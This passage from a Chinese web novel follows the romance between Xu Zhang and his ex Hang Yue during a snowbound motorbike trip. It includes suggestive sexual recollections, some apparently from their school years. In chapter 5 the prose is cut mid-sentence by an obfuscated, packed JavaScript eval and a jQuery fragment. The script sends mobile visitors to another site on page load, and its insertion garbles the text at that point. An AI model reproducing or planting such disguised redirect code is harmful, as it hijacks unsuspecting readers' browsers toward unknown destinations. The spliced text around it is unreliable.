那人被打得满脸血,哭着哀求:“我保证……我再也不那么干了,求求你……求求你别打了。” “滚。”男生抬起下巴,他爬起来,屁滚尿流地跑了。 “都散了吧,没什么好看的。”男生遣散围观群众,走到许璋面前,“对不起,我替杭樾向你道歉,那幅画要多少钱?我们赔给你。” 许璋见众人都走了,伪装的大度终于消失。 他走向杭樾,仰起头看着这人。 杭樾望向他,男生也望向他。 “抱歉,我赔你。”半晌,杭樾不耐烦地说道。 许璋笑了起来,四处张望,嘴里说着:“你要赔我啊,好哇好哇。” 他提起装满颜料水的塑料桶,朝着杭樾兜头泼了下去,瞬间把他染成一只五颜六色的大花猫。 杭樾和男生都呆住,足足过了半分钟,才怒骂了句“我操”。 许璋冷笑:“你操个屁,我操.死你才对。” 说完,没去看他们瞠目结舌的表情,好汉不吃眼前亏,扭头撒丫子跑没了影儿。 他和杭樾就此结下梁子,恨不能掐死彼此。 许璋在梦里也十分费解,他到底是怎么和这家伙,从相看两相厌,变成光着身子滚床单的? 哦,滚床单的时候,也像在对待杀父仇人。 杭樾一点都不心疼他,每次快要不行了,也不等他缓缓,还总是直勾勾地盯着他的脸,欣赏他最难堪无助的样子。 他经常哭得喉咙都哑了,只能靠一些小计俩来求饶—— 比如勾住杭樾的脖子,主动亲吻他,坐在他身上,喊他哥哥。 每当这时候,杭樾一副被拿捏七寸的表情,沉着脸用力丁页他,命令他不准发骚。 可他猜测,杭樾应该很喜欢他发骚。 许璋觉得自己可能是挺骚的,不然不会打个盹都能做春.梦,他听见窗外有人在捶打玻璃,轰隆隆跟要打架似的。 他睁开眼睛,杭樾的脸从梦境走进现实。 许璋怀疑,他出现了幻觉。 车窗外面,杭樾很凶地盯着他,拍打窗户命令他下车。 “还不快开门!”他又拍了下车窗。 许璋忽然感到委屈,他当真一点不心疼他。 梦里跟他打架,把他的画戳了个洞,醒过来还要凶他。 你再凶你爹试试呢。 他抄起暖手袋,打开车窗砸向前任:“有病吧,滚。” 4. 第 4 章 杭樾接住暖手袋说:“窗户关这么死,不要命了?” 他声音很大,吵得人脑袋嗡嗡的。 许璋从梦里缓过来,看了眼时间,才睡了二十分钟,闹铃还没响,不知道这人在急什么。 “你怎么会在这里?”他不大高兴地问。 他睡得迷迷瞪瞪,围巾压住脸颊,印出红红的褶皱,眉尖蹙成八字型,像一只气鼓鼓的白面馒头。 白面馒头努力睁着眼,眼珠湿漉漉黑黢黢,瞪向不速之客。 杭樾的火灭了大半,皱眉道:“你能不能有点安全意识,就这样在车上睡过去,想上社会新闻是吧。” 许璋懒得理他,鼓着脸将车窗升起来。 杭樾站了一会儿,还是敲门说:“下车。” 这次,语气缓和不少。 许璋逐渐明白过来,他应该是看见那条动态,特地跑出来找自己的。 他把车窗重新降下来,扒拉着窗户,面无表情地盯着杭樾。 两人大眼瞪小眼,终究是杭樾败下阵来,无奈道:“下来吧,带你找地方睡觉。” 许璋哼了一声:“我又不是傻子,我定闹铃了,你激动个什么劲。” 杭樾沉默了几秒:“没说你是傻子,只是……” 只是什么,他最后也没说。 五分钟后,许璋抱着暖手袋,深一脚浅一脚跟在他身后。 杭樾穿着拉力服,外面套了件羽绒外套,戴着帽子低头走路,丝毫没有闲聊的意思。 “你不打算讲点什么吗。”许璋率先开口。 “讲什么?” “为什么会来找我?” “因为我善。” “……” 杭樾慢悠悠道:“我在饭店吃饭,碰到两个女生,说有个开X5的冤大头送她们住旅店,自己跑去住车里,问能不能收留他一晚。” “你才冤大头。” “又不是我说的,她们的原话。” 许璋呵呵笑道:“她们人还怪好嘞,不过这儿停的车不少,你怎么知道我在哪里?还有,你居然能找到住的地方,不是都满了吗!” “她们指的路。”杭樾言简意赅,“我认识另一个车队,一起拼着住。” “哦,雪什么时候能停?” “不知道。” 两人走了十几分钟,来到有住宿吃食的地方,杭樾领他走进路边的馆子。 饭馆很拥挤,坐满了摩旅队的人,基本都是男人,说笑划拳碰杯,个个嗓门儿巨大。 那俩女孩坐着吃饭,热情地挥手和他打招呼。 两人进去的时候,大家都看了过来,又若无其事地继续吃喝,眼神不断往这里偷瞄。 杭樾介绍那桌人道:“这是老江,小唐,浩子,阿远。这是许璋,今晚跟我们住。” 他没有介绍许璋的身份,事不关己地坐下,其他人望向许璋,眼神变得意味深长。 唐思瑞热情地说:“樾……许璋你好,我叫唐思瑞,叫我小唐就行。” 他拼命拿眼睛瞅许璋,X光似的全方位打量,许璋被看得莫名其妙,温和道:“你好,打扰了,谢谢你们收留。” “不打扰不打扰。”唐思瑞连忙摆手。 许璋冲他微笑,笑得很乖。 唐思瑞低声对周皓说:“他好有礼貌,比我还像大学生,看着挺单纯的,樾子哥是不是在黑他?” 周皓噗嗤笑出来,剥了颗虾扔他碗里。“轻点蛐蛐,小心阿樾揍你。” 副队叫江木舜,是年纪最大的老大哥,玩摩旅二十年,经常跑215、315这些线,经验多见识广,很自来熟地和许璋闲聊。 他说318这条路,过了成都就不好走了,冬天路况糟糕,堵得一塌糊涂,但风景还算值得一看。 他说了点网上搜不到的注意事项,许璋听得认真。 老板是黄山人,做的一手咸香徽菜。 臭鳜鱼臭中带香,蒜瓣肉紧实弹性,毛豆腐外酥里软,莴笋干和酱鸭非常下饭,堪称一桌米饭杀手。 许璋本打算用面包熬一晚,没想到能吃到热乎饭菜,很给面子地暴风进食。 “慢慢吃,吃得开心。”老板笑嘻嘻地说,“这个小帅哥是新来的?长得真俊,吃得惯我们这儿的菜吗?” “特别好吃,我都想跟您偷师了。”许璋毫不吝啬地夸赞。 老板被哄得高兴,顺手送了果盘和饮料。 唐思瑞又蛐蛐:“小嘴儿真甜,他吃得好香,都第二碗了,看起来很真诚嘛,为什么到樾子哥那里就成负心汉了?说不定是樾子哥对不起他。” “嘘——”周皓善意提醒。 但没能救得了他。 杭樾一掌盖在他脑袋上:“吃饭还堵不上你的嘴。” 唐思瑞龇牙咧嘴:“嗷。” 许璋教养很好,即使很饿,也不狼吞虎咽,嘴巴里包着鱼肉,堆在脸颊左侧慢慢咀嚼,如同正在进食的宠物兔,让人想薅一把兔毛。 吃到一半有点口渴,杯里的可乐喝光了,他抬头四处找饮料,这时旁边伸过来一只手,自然地帮他倒满。 许璋看向那个叫邢远的人,觉得他有点眼熟。 “谢谢。”他吸着可乐,友善地问,“我们是不是见过?” 邢远的表情冷淡疏离,是那种走在路上,都没人敢搭讪的帅哥,他没有看许璋好奇的眼睛,拧紧瓶盖道:“或许吧。” 这个模棱两可的声音,让许璋想起刚才的梦。 “你是……”他犹疑道。 没等他说完,江木舜插嘴道:“天气预报说,明天会持续降雪,估计暂时走不了了。” “降雪量很大?” “大暴雪,难得一遇。” 对话吸引了许璋的注意,杭樾说:“那就先调整休息,这次新人多,安全第一。” “啧,小唐第一次跑318,要是不能进藏,估计会哭鼻子。”江木舜调侃。 “我才不会哭呢,江哥你少造谣。”唐思瑞眼巴巴道,“但是……不会真的去不了吧?” 江木舜说:“不好讲啊,要是后面还下大雪,路很难走的。” 许璋问:“你们去过川西很多次吗?” “去过两次,去哪里是其次,主要路上好玩。”江木舜回答。 许璋看向杭樾,去过两次,还说想知道那里什么样。 好奇怪哦。 杭樾扫了他一眼:“吃饱了就回去,旅店在隔壁,房间号3011。” 大家都吃饱喝足,收拾桌子打起牌来,明天不用赶路,很多人打算玩通宵。 屋子里热烘烘的,充斥着汗味。 许璋便拿起房卡,和唐思瑞一起回去。 唐思瑞看着他的兔耳帽子,白色毛球随主人的脚步摇摇晃晃,就差给他安个电动兔尾巴了。 他忍不住问:“你多大了呀?” “即将二十三。”许璋嚼着口香糖,用脚踩雪。 他浑身上下遮得只剩一双眼睛,骨碌碌转来转去,不知道在打什么主意。 “咦,你怎么比樾哥小,你们不是同班同学吗?” “我小学比他少上一年,上海上五年。” “你们是高中才认识的吗?” “嗯。” 许璋斜瞄他,眼神和刚才不太一样,带着一丝狡黠。 “杭樾经常跟你们骂我?”他猝不及防地问。 唐思瑞一惊:“怎……怎么会呢,他……他、他很少提起你的。” 许璋想了想,歪头换了个问题:“你和周皓什么关系,他是你男朋友?” 唐思瑞差点踩进雪坑里:“不不不不是!他不是我男朋友……他他他是直的,我……我的意思是,我们俩都是直的,你别误会!” 许璋点头,若有所思:“你一紧张就会结巴,杭樾指定骂过我。” “……” 唐思瑞快哭了,他没想到许璋这么贼。 人不可貌相! “没有,他真的没骂过你。”唐思瑞瘪着嘴说。 “我进队比较晚,了解的不多。之前有次聚餐,樾哥喝醉了,我们把他送回家,他家里有一副超大的油画,画的是雪山,我夸了句这画真好看,是谁画的,他突然就发起酒疯来,冲过去把画砸了。” “我被吓得半死!后来问浩哥他们,才知道……才知道关于你的事,除此以外,樾哥就没再提过你了,他不是那种说别人坏话的人。” 许璋怔了怔,好半天才说:“那画中间是不是有个洞?” 唐思瑞摇头:“好像没有,记不清了,我只看了一眼,他上去就给砸了,现在想起来还很吓人呢。” 可怜的画,被杭樾砸了两次。 许璋越来越搞不懂这人了。 不就当了一个月炮.友吗,至于这么恨他? 回到旅店房间,里面摆着两张床,环境干净整洁,像是提前收拾过。 唐思瑞说:“这是我和浩哥的房间,他们晚上要通宵,樾哥说让我们俩住。” 许璋坐在床上,忽然问:“你不担心吗?” “担心什么?”唐思瑞傻傻地看着他。 “我是gay啊,和我共处一室,你就不怕我对你做点什么。”许璋坏笑。 他坐在床上晃脚,腔调很好听,尾音拖得长长的。 唐思瑞觉得他说话很嗲,不是那种让人不适的嗲,而是吴侬软语特有的黏糊,让人的心脏也跟着热起来。 他红着脸,支支吾吾:“不……不怕,你……你跟我一样高,看起来柔柔弱弱的,我……我、我一只手就能按住你。” 许璋嗤笑:“你先别结巴。” “我……我不好意思。” “为什么?” “你太好看了……我紧张。” 许璋笑道:“比杭樾其他男朋友还好看?” 唐思瑞丝毫没意识到他在套话,很老实地说:“樾哥不谈恋爱的,他戒色戒欲,平时爱盘串儿养生,去年还被一个假道士骗了好几万。” “……” 前任哥在立什么荒谬人设。 “不会没人追他吧?”许璋不信。 “有,挺多的,别人加他微信,他就给人推养生公众号,人家以为他是卖手串的骗子,全被吓跑了。” 许璋嘴角抽搐,憋笑憋得难受。 两人洗完澡各自躺下,尽管累了一天,脑子还是精神得很。 “你困吗?我有点睡不着。”唐思瑞说。 “我……我能问你个问题吗?” 许璋没理他,过了一会儿,他小声地问:“你……你和樾哥做过吗?跟男人做是什么感觉,痛不痛啊?” 许璋翻了个身,改为平躺。 什么感觉? 具体记不清了,只记得挺爽的,否则也不会上那么多次床。 杭 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许璋侧过身,将脸埋在枕头上,轻轻吁了口气。 想起前任哥脑内就开车,这对吗? 不一会儿,唐思瑞睡着了,呼吸变得绵长。 旅店的隔音不太好,偶尔能听见隔壁的声音,许璋闭着眼睛,思绪凌乱。 他这趟出来旅游,本来是想在转让画室之前,画一副让自己满意的画,于是申请了一个月假期,就这么诸事从简地出发了。 他幻想的旅途,可能会充满危机,可能会有一场艳遇,也可能十分无趣。 然而遇到杭樾后,事情变得超出预期。 许璋没想过和他再有交集,也不在意前任的现状,可自打见到他起,就像着了魔一样,忍不住打听关于他的一切。 想知道分手后他做了什么,想知道他在英国过得怎么样,想知道他有没有谈新的恋爱…… 许璋将这种心情归结于——对前任的窥私欲。 大概潜意识里,不希望前任过得比他好吧。 怕他没吃苦,更怕他开路虎。 当然,杭樾这种家庭背景,路虎想开就开。他是家中独子,家里有上市公司,父母人脉广圈层大,说不定高中毕业就准备联姻了。 正因为有着相似的背景,许璋心里很清楚,杭樾不可能对他认真。 首先,绝过不了他母亲那关。 嗡嗡嗡—— 手机发出震动,屏幕显示是“乌鸦哥”打来的。 许璋轻手轻脚地下床,摸到阳台上,关上门接通。 “大事不好了!许总。”助理严肃道。 许璋捏了捏鼻梁,这个备注果然没冤枉他,每次打来都是报丧。 “讲。” “你在路上估计没看热搜,有人买了画室的黑稿,把之前那个抄袭官司拿出来说事,说我们……说我们……” “说我们什么?” “说我们地段不好,风水不佳,买家一个接一个倒霉,是名副其实的凶宅!” 助理愤愤道:“胡说八道也就算了,最气人的是,那几个买家本来在竞价,现在全跑来跟我压价,还说我们不提前告知是凶宅,都想着趁火打劫呢!” “谁买的黑热搜?”许璋抓住重点。 助理支支吾吾:“这……这不太好说……” 许璋迟疑片刻,点头道:“宋焕那傻逼是吧。” 助理可怜巴巴:“许总,你千万别说是我说的,许先生会把我扫地出门的,拜托拜托!” “你等一下。”许璋说。 他熟练切换小号,登上名为“AAA西双版纳水果张姐”的号,这是他仿的导游号,号上有三个人:他弟,他后妈,他前男友。 点进宋焕的朋友圈,果然正在BOOMSHAKE,嗨的不行。 他把定位发给助理,恶毒地安排道:“给他点十个男模,要最骚的,再联系营销号过去,务必让我爸颜面尽失。” 助理颤抖:“许总,冤冤相报何时了,煮豆燃豆萁,豆在……” “今晚把黑稿撤了,不然你就去陪宋焕。” “呜呜,许总,人家是良家妇男……” “你几点钟办妥,年终奖就翻几倍。” “收到!我这就去办。” 许璋打开那条黑稿,标题是“艺之光画室涉嫌抄袭,AI终将取代坚守初心的画师?”,文章多角度批判了破坏行业规则的行为,对判决结果只字不提。 很显然,主笔知道真相,故意歪曲事实,利用大家的善意带偏节奏,底下有不少骂艺之光的。 许璋看完,用张姐的号,怒打两百字骂它。 发完问朋友借号继续骂,最后全点了举报。 他骂得正来劲,忽然,听见房间传来窸窸窣窣的声音。 里面黑咕隆咚的,他站在阳台边缘,借着窗外的光线,看见一个男人背对着他,蹑手蹑脚地弯腰,在行李箱里翻找什么。 那人动静很轻,仿佛怕吵醒他们。 许璋顿时汗毛倒竖,冷汗刷地流下来。 他依稀记得,周皓他们没拿房卡,这会是谁? 那一瞬间,脑海中闪过无数公路片剧情:深夜黑店,大雪封路,见财起意,杀人分尸…… 他把手机揣兜里,悄悄握住晾衣杆。 5. 第 5 章 杭樾在找衣服,突然被一根晾衣架袭击了。 窗户没关死,地上有个影子,鬼鬼祟祟地靠近。 余光扫到,影子举起晾衣架。 他当即偏头,躲过这一击,还没来及开口,几瓶矿泉水劈头盖脸砸过来。 “狗胆包天,居然敢偷到你爹头上!现在可是法治社会!”许璋抄起凳子震声道,“唐思瑞,起来打架,报警抓贼!” 杭樾听见他一气呵成的指令,登时气笑了,抬手将瓶子挡了回去。 “停——!”他大声制止。 许璋动作僵住,杭樾啪地打开灯,房间里一片混乱。 唐思瑞从床上爬起来,满脸狼狈,许璋穿着睡衣站在床尾,手里举着凳子,矿泉水漏了,水溅到他被子上。 “樾……樾哥?”唐思瑞惊吓,“你怎么跟小偷一样,吓死人了!” 杭樾没好气道:“这不看你们都睡了吗,我行李放在这屋了,过来拿衣服。许璋,你故意的是不是?” 他看向红肿的手背,“嘶”地抽气。 “……我又不知道是你,谁让你偷偷摸摸的。”许璋心虚。 杭樾脸色不豫,视线落在他手上的武.器,许璋立刻把凳子扔远了点,佯装无事发生。 唐思瑞在他们之间瞄来瞄去,好奇心快要按不住了。 令他失望的是,杭樾没再说什么,冷着脸回头找衣服,许璋裹着被子,打了个哈欠,将目光投向他。 唐思瑞眨眨眼睛,抛去一个问号。 许璋指了指床,意思湿了没法睡。 杭樾找到衣服后,转身发现许璋不见了。 唐思瑞的被窝拱起来一团。 杭樾疑惑:“他人呢?” 许璋从被子里探出脑袋,头发细软服帖,发丝摊在脸上,像一只新鲜出厂的毛绒抱枕。 唐思瑞和他脑袋抵脑袋,两只毛绒抱枕。 “你的脚好冰。”唐思瑞小声说。 “走之前帮我们把灯关了。”许璋揉揉眼睛,蜷缩回被子里。 下一秒,他被连人带被,整个从床上拎了起来。 杭樾的脸色沉得吓人:“你往别人床上跑什么。” 他力道极大,许璋险些失去重心,一头栽在他身上。 唐思瑞失去被子,吓得拔剑四顾心茫然。 “操,你神经啊,床都被你弄湿了,我不睡这里睡哪里。” 许璋本来就烦,想伸手推他,可身上的被子裹得太紧,举手都费劲,动作笨拙且滑稽。 打又打不过,够又够不着,气得脸都红了。 杭樾把他捞起来,对唐思瑞说:“我带他去隔壁,你自己睡。” 然后扛着那坨面包虫,头也不回地走了。 唐思瑞:“……” 啊,这对吗? 许璋被抗到隔壁房间,杭樾像扔沙袋似的,粗鲁地把他扔床上,他爬起来想干架,却被床单绊倒,摔得背朝上脸朝下。 太可恶了!! 几年不见,就这么对他,活该变成前任! 不等许璋开骂,杭樾迅速说:“阿远和老江不回来,你今晚睡这里。” 说完,撇下他去洗澡了。 许璋从被子里钻出来,气急败坏地打量房间,和隔壁一样的布置,墙角堆着两个行李箱。 可能杭樾原本睡在3011,因为要给他腾位置,才临时搬到这里。 看见角落的画架后,许璋短暂地愣神。 不一会儿,杭樾从浴室里出来。 他换了身T恤和长裤,露出的小臂肌肉蓬勃,光脚踩在地板上。衣服沾着水汽,潮湿贴身,勾勒出若隐若现的腹肌。 他一手拿起手机回消息,一手用毛巾擦拭头发。 发梢滴水,在脖颈处留下蜿蜒的痕迹。 许璋咽了口口水,觉得该死的前任在勾引他。 真不讲男德。 他闷声说:“你刚才问我要车钥匙,是为了拿这些画?” 杭樾专心看手机,从鼻腔里“嗯”了一声。 许璋抱着被子,猛盯他的背影,感到他不想理自己,于是也玩起了手机。 助理正在汇报进度,那个公众号被封了,男模已经进入包间,专业拍摄团队就位,照片上的宋焕满脸惊恐,双手护住前胸,一副险些被凌.辱的模样。 许璋满意地发了个大拇指。 半晌,杭樾低声说:“夜里温度低,画放在车上,会冻裂的。” 许璋愣住,没想到他会考虑到这个,连他自己都没想起来。 “你这趟来写生,是为了办画展吗?”杭樾问。 角落里堆了八幅画,不怪他走得慢,一路不停地画,不被摩旅队赶上才奇怪。 “没那个打算,随便画画。”许璋无所谓地说。 “什么时候办画展?” 许璋忽然皱眉:“说了没那个打算。” 杭樾便不作声了,继续摆弄手机。 许璋看着他的后脑勺,没来由地,想起一个朋友。 严格来说不算朋友,是微博上的粉丝,这人每隔几天,就会给他发私信。 [用户745928:你画得真好,没去美院有点可惜。] [用户745928:今天那幅画很大胆,你怎么还接同人,呵呵。] [用户745928:你两个月没上线了,还以为你不要这个号了呢,这次也是熟悉的画风,看来平时没疏于练习。] [用户745928:为什么不接稿了?是工作太累了吗?别放弃啊,当做兴趣爱好也可以的。] [用户745928:诬陷抄袭太可恨了,现在圈子生态有点差,不过不要因为他们放弃喜欢的事!加油!] 最近的私信,是问他关于画展的事。 [用户745928:听说你们要办画展了,是不是有很多你的画?那我一定要去看看。] 许璋回他:[不会。] 那头问他为什么,他想了许久,不知道怎么回复。 他本来不想告诉任何人,画室要转让的事,但看那人定位在广东,觉得没必要让人大老远白跑一趟。 曾经他也幻想过,画展上全是自己的画,来往的人会在他的作品面前驻足,可惜现在,他有更重要的事要做。 理想不能支撑现实,少年不知天高地厚,放眼皆负才高八斗的年纪已经过去了。 当断则断。 得知他要去川西写生,那人又发了条私信,让他注意保暖,当心油彩开裂。 许璋自嘲地笑笑,他自己都不放在心上,偏偏陌生人和前任都关心的很,真是奇怪。 隔壁房间,唐思瑞翻来覆去睡不着,在群里化身谣言制造机。 [唐思瑞:事情就是如此抓马!] [唐思瑞:我第一次见樾子哥这么挂脸,好好笑,哈哈哈哈哈。] [唐思瑞:刚才吃饭的时候,他俩装得跟陌生人似的,看都不看对方一眼,我都怀疑是不是真谈过了!] [唐思瑞:怎么办,想到他们共处一室我就兴奋!] [唐思瑞:我思想是不是太肮脏了?] [江木舜:哟,他们去隔壁了?] [周皓:@唐思瑞,打开脑子,让我看看有多脏。] [邢远:晚上锁好门,这一带不安全。] [唐思瑞:我现在正用杯子贴在墙上偷听,但一点动静都没有,你们说他们在干嘛?] [杭樾:你们当我死了?] [杭樾:我还在群里呢。] 【你被“唐思瑞RAY”移出群聊】 杭樾:? 【“唐思瑞RAY”邀请你加入了群聊】 [唐思瑞:等等,哥,这么好的机会,你就在玩手机?] [杭樾:……] [江木舜:哈哈哈哈,他怂得很,估计只能装玩手机缓解尴尬,看都不敢看小许。] [江木舜:坏了,我没心思打牌了,开个直播让我乐呵一下呗。] [杭樾:……傻逼吗。] [杭樾:好马不吃回头草,没什么好尴尬的。] [江木舜:/请开始你的表演/] [唐思瑞:啊,真不吃啊?吃一口吧TAT] [杭樾:没意思,睡了。] 杭樾关掉手机,回头对上许璋炯炯的目光。 许璋爱穿丝绸睡衣,面料贴身且舒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019057|162174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,白色底纹绣着前脚站立的兔子,领口被扯得乱糟糟,扣子解开几颗,露出雪白的锁骨,以及喉结下一颗小痣。 他盘腿抱着被子,无辜又探究地盯着杭樾。 杭樾的呼吸瞬间乱了。 汹涌的记忆如同潮水,连招呼都不打一声,将人淹没得彻底,仿佛条件反射。 那片锁骨一吮就红,他记不清亲过多少次,每次总忍不住留下红痕,导致第二天上课,许璋只能把校服扣到最上面。 那颗痣的部位很敏.感,叼住的时候,他会浑身发抖,闭紧湿漉漉的眼睛,双手跟抓救命稻草似的,攀附住身上人的肩膀。 杭樾评价他:“真娇气。” 实际上,他挺乐意许璋这么娇气,因为每当这时候,他都会感到被需要。 杭樾沉默片刻,最终道:“把扣子扣好。” “?”许璋莫名其妙。 “你总是这样随便勾引别人吗?”杭樾将毯子扔过去,罩在他头上。 许璋一把拽下毯子:“你说我什么?” 恶人先告状,你大爷的。 杭樾躺下,淡淡道:“大家都知道我们的关系,我们呆在一间房,你这副样子被人看见,会败坏我的名节。” “……” 倒打一耙! 怎么会有这么欠的人!仅仅三言两语,就让人想照着他脸抽下去,长多帅都没用。 许璋磨牙冷笑:“是吗,我败坏你的名节,害你找不到下一任,那不如……” 杭樾的心咚地一声,落在床和枕头之间。 “你赔我点精神损失费好了。”许璋说。 杭樾嗤笑,仿佛意料之中。 “精神损失费没有,可以给你介绍点资源。”他枕在手臂上,仰望天花板,“不知道你喜欢什么类型,像唐思瑞那样的?我看你和他走得很近。” “说几句话就叫走得近,那我们走得也很近。” “都能躺在一张床上,还不叫走得近?” 许璋偏头:“杭樾,你是不是在吃醋?” 杭樾笑出声来,好像听到了年度笑话。“你疯了吧。” “我突然想起很久以前,我们还没在一起,我和隔壁体育生打球,你跑过来把人家球踢飞了,我问你为什么找茬,你说你在吃醋。” 杭樾遮住眼睛:“……不用说的这么详细。” 许璋笑呵呵嘲讽:“我当时觉得你挺勇的,不像个口是心非的懦夫。” 杭樾看了他一眼,幽暗的灯光下,两人的神情都很冷淡,中间那条过道,仿佛不可逾越的鸿沟。 “我心直口快罢了。”杭樾慢条斯理地说,“你倒是记得清楚,是不是忘不掉和我在一起的每个瞬间?经常拿出来反复回味吧。” 许璋深吸一口气:“哈哈,太好笑了,你怎么会这么觉得。” “你不是一直在忆往昔吗。” “那是因为和你没有话题。” “嗤,你和每个前任都这样聊天?” “当然了,不然聊什么。” 许璋没有否认“每个前任”,如愿以偿看见杭樾的脸黑下去,成功扳回一局。 杭樾转身背对他,房间里安静下来。 许璋嘚瑟地蹭了蹭被单,想哼歌,又怕被他扔出去。 果然,让前任吃瘪,是世界上最快乐的事。 过了十几分钟,许璋以为他睡着了,杭樾忍不住开口道:“你……” 话音未落,外面传来刷卡的声音,门开了。 两人同时望过去,邢远站在门口,似乎没想到他们还没睡,三人的视线撞了个正着。 许璋莫名有种偷情被抓的感觉,他和杭樾分明没睡一起,清清白白的,但邢远的眼神好像不太清白。 “服务员把隔壁床单换了。”邢远扶着门,目光意味深长地逡巡,“还是说,要我下楼帮你们买盒套?” 空气一片死寂。 许璋伸了个懒腰:“看吧,我就说共处一室会坏我名节,我和他不是你想的那种关系。” 杭樾扭过头,难以置信地瞪他。 许璋朝他做了个鬼脸,裹着被子一溜烟跑了。 路过门口的时候,听见邢远在笑。 6. 第 6 章 雪下了一夜,路边结起薄薄的冰,踩上去直打滑。 杭樾是被噪音吵醒的,他刷着牙走到窗边,院子里,江木舜正在帮许璋装防滑链。 江木舜把链子放好,指挥道:“往前开一点,慢慢的,好了,停。” 许璋从主驾探出头来,脑袋上戴着蓝色线帽。 “谢谢江哥,谢谢阿远。”他笑眯眯地说。 邢远听见这个称呼,抬眼看过来。 许璋说:“我们差不多大,我就不叫哥了,跟着他们叫你阿远好了。话说,我们大学是一个学校的吧?” “我在你隔壁学院。”邢远语气淡漠。 他长了张生人勿近的脸,神态冷漠疏离,其他人都在找妹子闲聊,只有他格格不入,有女生过来搭话,愣是被他冷跑了。 许璋疑惑:“好奇怪,你这么突出,我居然一点印象没有。” 邢远起身后退了两步:“装好了。” “小许,你怎么开这车出来,”江木舜说,“跑长途不太舒服吧。” “特别不舒服!”许璋立即道,“我当时没考虑太多,头脑一热就出发了,没想到路上这么多状况。” “看出来了,你开得很慢,都遇上两回了。”江木舜摇头。 许璋瘪嘴:“我一个人嘛,走走停停,也没人聊天,不知道要开到什么时候。” “你去川西干什么?”邢远问。 许璋没明白这个问题的意图,歪头盯着他。 “如果只是想看风景,那买张机票就行,如果是为了沿途写生,慢慢开也是一种享受。” 许璋听懂了,对他笑道:“你真会安慰人,我还以为,你是那种很不好惹的人呢。” “为什么这么觉得?” “昨天你说那些话,听起来就不好惹啊。” 江木舜伸了个懒腰,进屋吃早饭。 杭樾将碗筷端上桌,往窗外看去。 身后响起女生的声音:“别看了,十分钟之内你看了三次,比我妈高中抓我玩手机还勤。” 杭樾回过头,张佳慧正在嗑瓜子,她和闺蜜昨晚遇到他们,交谈中,杭樾才得知,有个呆瓜要在车里过夜。 张佳慧说夜里零下好几度,问能不能抱床被子给他,或者收留他凑合一宿,杭樾就起身去找人了。 “你妈很懂事。”他大言不惭,“要是超过三次,就该被你挂网上吐槽‘让人窒息的东亚家庭’了。” “……我发现你脸皮挺厚。” “过奖。” 张佳慧好奇:“你前男友和你哥们儿处的好,你会不会心里不是滋味?” “那是他的本事,关我什么事。” “他确实有本事,不仅给江哥的女儿介绍钢琴老师,还手把手帮小唐改论文提纲,难怪这么受欢迎。” 张佳慧笑嘻嘻地问:“挺可爱一小孩儿,你们为什么会分手?” 闻言,杭樾皱眉瞪她。“早就想打听了吧,你和你闺蜜声音那么大,真当我聋。” 张佳慧哈哈大笑:“昂,被你发现了。” “不过,李念不是我闺蜜,她是我家那位。” 杭樾面无表情:“哦。” “咱们情况差不多。”张佳慧对他挤了挤眼,“我对你们的事很感兴趣,你们交往多久分的手?” “一个月。” 张佳慧张大嘴巴,瓜子掉在桌上。“区区一个月,就爱得这么死去活来?现在的年轻人,都这么容易动感情吗。” 杭樾说:“请问你哪只眼睛看见,我们爱得死去活来。” “啧,这不重要,只是个形容词。言归正传,分手的原因是?” 杭樾有些烦躁,眉头拧成川字。 张佳慧抢先一步:“你要是敢说‘性格不合’这种鬼话,我可要竖中指了嗷。” 杭樾微哂:“性格的确不合,我们都挺受不了对方的。” “咦,那你有点抖m。” “什么意思?” “受不了还喜欢他,眼睛都恨不得贴上去。” 杭樾深深吸气,斩钉截铁道:“我没有很喜欢他,不要让我再重复一遍。” “好好好,你继续,所以原因是什么?” 他厌倦道:“不是什么特别的原因,小孩没娘说来话长,你听了会笑话。” “你或者他劈腿?还是出柜被家里反对?” 杭樾从未跟第三人聊过这件事,包括他最好的兄弟。 “都不是,别瞎猜了。”他结束了话题,“我去叫他们吃早餐。” 张佳慧问:“你想过重新开始吗?既然不是原则性问题,干嘛不把他追回来……不好意思,我话有点多,因为我对象磕你俩。” “。” 杭樾笑了一下,眼神冰冷。 “你看我像那种被甩后,对方招招手就回来的人吗?” 他转身出去,双手插兜,背影十分爷们儿。 张佳慧撇了撇嘴。 许璋和邢远在检修摩托车,邢远向他介绍车的构造,操作熟练地摆上起车架。 “这是刹车片,一般出发之前,会看一下磨损程度,还有机油、轮胎、链条,都是要提前检查的。” “这个表是什么?” “监测胎压的。” “你的车和杭樾的有点像。” “嗯,都是金翼。” 许璋靠在另一辆车上,问道:“你们是摩旅队认识的吗?小唐说你们是队里最铁的。” 他一开口,邢远就知道,他不记得高中的事了。 邢远不在意道:“我们认识十几年了,你想打听什么?” 许璋转动眼睛:“经常有人向你打听他?” “你反正不是第一个。”邢远脱下手套,扔进篓子里。 “噢。”许璋毫无波澜,“那你不会告诉他吧。” “看心情,也看你的问题。” 许璋笑了起来:“果然人以群分,你看着一板一眼,其实狡猾得很嘛。我没有恶意,单纯好奇而已,你难道不好奇前任过得怎么样?” “说说看。”邢远不置可否。 “他在英国的时候,有没有发生什么事?”许璋问,“我前几天看他朋友圈,才发现他好几年没发动态,这太反常了。” “你很细心。” “我很粗心,五年了才发现,我真的很好奇。”许璋乐道。 “没什么大事,就正常上学,硬要说发生什么的话,他妈妈生了场大病。” “什么?”许璋笑容消失,“她现在没事吧?” 邢远疑惑地看他:“已经康复了,我前阵子去看阿姨,她气色还不错。当时挺凶险的,杭樾回国呆了两个月才走。” 他补充道:“杭姨是个很坚强的人,她心态非常乐观,也积极配合治疗,恢复得很好。” 许璋怔怔地点头,像是松了口气:“那就好。” “你也见过她?” “嗯。” 空气安静了一会儿,或许是看许璋比较担心,邢远说了件好玩的事。 “杭樾大一那年,我们去西班牙玩,我落地就被偷了手机,到马德里又被抢了包,我们追着那人跑了三条街,愣是没追上,我靠,真是巨能跑。” 